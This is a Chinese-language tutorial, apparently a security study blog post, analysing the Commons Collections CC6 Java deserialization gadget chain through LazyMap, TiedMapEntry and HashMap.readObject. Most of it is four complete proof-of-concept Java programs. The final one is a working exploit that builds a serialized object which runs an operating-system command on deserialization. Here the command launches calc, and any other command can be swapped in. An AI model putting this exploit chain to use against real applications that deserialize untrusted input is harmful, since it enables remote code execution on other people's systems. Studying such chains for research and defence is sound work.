CC6链 CC6被称为是最好用的CC利用链,因为他不限制jdk版本,只要commons collections 小于等于3.2.1,都存在这个漏洞。
实际上 CC6链子 又是CC1的一个变种,找到这个漏洞的人又开辟出 一个新的线路 通过 TiedMapEntry.hashcode() 去触发 CC1里的 LazyMap.get()
这里我们是继续沿用的CC1 的项目 jdk版本:jdk8u65 pom.xml内容:
1 2 3 4 5 6 7 <dependencies > <dependency > <groupId > commons-collections</groupId > <artifactId > commons-collections</artifactId > <version > 3.2.1</version > </dependency > </dependencies >
前置知识 上次CC1链我们只分析了用TransformedMap,那么这里用LazyMap再往前找一个链子
可以看到这里有个get方法
LazyMap的get方法如下
1 2 3 4 5 6 7 8 9 public Object get (Object key) { if (map.containsKey(key) == false ) { Object value = factory.transform(key); map.put(key, value); return value; } return map.get(key); }
LazyMap就是一开始不写这个键,到调用的时候再把key弄出来
如果map有key就直接返回,如果没有就用transform方法调用一次,所以我们要确保没有这个key
那么接下来就看哪个调用了get方法
最后找到是在AnnotationInvocationHandler里面有一个可控的get方法
于是我们包装成动态代理,让反序列化过程自动调用LazyMap.get()
那么我们分析一下这个invoke方法
如果调用的是 equals(Object obj)
,就调用自定义的 equalsImpl()
。
如果其他方法有参数(除了 equals
),就抛出错误。
如果调用的不是上述方法,就会尝试从 memberValues
这个 Map<String, Object>
中取出对应的值。
也就是说readObject要调用一个无参方法
看一下readObject
正好发现了一个无参方法
重新写一下poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 package org.example;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.LazyMap;import org.apache.commons.collections.map.TransformedMap;import java.io.*;import java.lang.annotation.Target;import java.lang.reflect.Constructor;import java.lang.reflect.InvocationHandler;import java.lang.reflect.Method;import java.lang.reflect.Proxy;import java.util.HashMap;import java.util.Map;public class CC1Test { public static void main (String[] args) throws Exception{ Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" ,new Class []{String.class,Class[].class},new Object []{"getRuntime" ,null }), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , null }), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); chainedTransformer.transform(Runtime.class); HashMap<Object, Object> map = new HashMap <>(); Map<Object,Object> lazyMap = LazyMap.decorate(map,chainedTransformer); Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor annotationInvocationHandlerConstruction = c.getDeclaredConstructor(Class.class,Map.class); annotationInvocationHandlerConstruction.setAccessible(true ); InvocationHandler h = (InvocationHandler) annotationInvocationHandlerConstruction.newInstance(Override.class,lazyMap); Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class []{Map.class}, h); Object o = annotationInvocationHandlerConstruction.newInstance(Override.class, mapProxy); serialize(o); unserialize("ser.bin" ); } public static void serialize (Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("ser.bin" )); oos.writeObject(obj); oos.close(); } public static Object unserialize (String filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream (new FileInputStream (filename)); Object obj = ois.readObject(); return obj; } }
CC6分析
首先 LazyMap().get()->InvokerTransformer.transform() 这段代码是不变的
我们通过 TiedMapEntry的hashCode方法
这里调用了一个getValue,getValue里面调用了map.get
看一下TiedMapEntry的构造函数
我们来看一下HashMap的readObject方法
也就是对它的key进行了hash
然后调用了它的hashCode,就走到了TiedMapEntry的hashcode,这里是一个同名函数的调用
所以就是把key传成TiedMapEntry
那么poc应该就是
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 package org.example;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import java.io.*;import java.util.HashMap;import java.util.Map;import static org.example.CC1Test.serialize;import static org.example.CC1Test.unserialize;public class CC6Test { public static void main (String[] args) throws Exception{ Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" ,new Class []{String.class,Class[].class},new Object []{"getRuntime" ,null }), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , null }), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); HashMap<Object, Object> map = new HashMap <>(); Map<Object,Object> lazyMap = LazyMap.decorate(map,chainedTransformer); TiedMapEntry triedMapEntry = new TiedMapEntry (lazyMap, "aaa" ); HashMap<Object, Object> map2 = new HashMap <>(); map2.put(triedMapEntry,"bbb" ); serialize(map2); unserialize("ser.bin" ); } public static void serialize (Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("ser.bin" )); oos.writeObject(obj); oos.close(); } public static Object unserialize (String filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream (new FileInputStream (filename)); Object obj = ois.readObject(); return obj; } }
但是吸取那次URLDNS链的经验知道这么写在序列化就会被触发了
所以还要用到那个想法通过反射去改值
就改LazyMap的值
改成factory
这一步改完poc如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 package org.example;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import java.io.*;import java.lang.reflect.Field;import java.util.HashMap;import java.util.Map;import static org.example.CC1Test.serialize;import static org.example.CC1Test.unserialize;public class CC6Test { public static void main (String[] args) throws Exception{ Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" ,new Class []{String.class,Class[].class},new Object []{"getRuntime" ,null }), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , null }), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); HashMap<Object, Object> map = new HashMap <>(); Map<Object,Object> lazyMap = LazyMap.decorate(map,new ConstantTransformer (1 )); TiedMapEntry triedMapEntry = new TiedMapEntry (lazyMap, "aaa" ); HashMap<Object, Object> map2 = new HashMap <>(); map2.put(triedMapEntry,"bbb" ); Class c = LazyMap.class; Field factoryField = c.getDeclaredField("factory" ); factoryField.setAccessible(true ); factoryField.set(lazyMap,chainedTransformer); serialize(map2); unserialize("ser.bin" ); } public static void serialize (Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("ser.bin" )); oos.writeObject(obj); oos.close(); } public static Object unserialize (String filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream (new FileInputStream (filename)); Object obj = ois.readObject(); return obj; } }
这里就是put的时候调用这个ConstantTransformer没有用的,在序列化的时候改成那个有用的
那么这个时候序列化不会执行,但是反序列化也不会执行
我们下一个断点调试一下
跟进去看一下
这里已经把key给放进去了,那么我们在反序列化的时候就已经有这个key了,所以我们要把这个key给删掉
最终poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 package org.example;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import java.io.*;import java.lang.reflect.Field;import java.util.HashMap;import java.util.Map;import static org.example.CC1Test.serialize;import static org.example.CC1Test.unserialize;public class CC6Test { public static void main (String[] args) throws Exception{ Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" ,new Class []{String.class,Class[].class},new Object []{"getRuntime" ,null }), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , null }), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); HashMap<Object, Object> map = new HashMap <>(); Map<Object,Object> lazyMap = LazyMap.decorate(map,new ConstantTransformer (1 )); TiedMapEntry triedMapEntry = new TiedMapEntry (lazyMap, "aaa" ); HashMap<Object, Object> map2 = new HashMap <>(); map2.put(triedMapEntry,"bbb" ); lazyMap.remove("aaa" ); Class c = LazyMap.class; Field factoryField = c.getDeclaredField("factory" ); factoryField.setAccessible(true ); factoryField.set(lazyMap,chainedTransformer); serialize(map2); unserialize("ser.bin" ); } public static void serialize (Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("ser.bin" )); oos.writeObject(obj); oos.close(); } public static Object unserialize (String filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream (new FileInputStream (filename)); Object obj = ois.readObject(); return obj; } }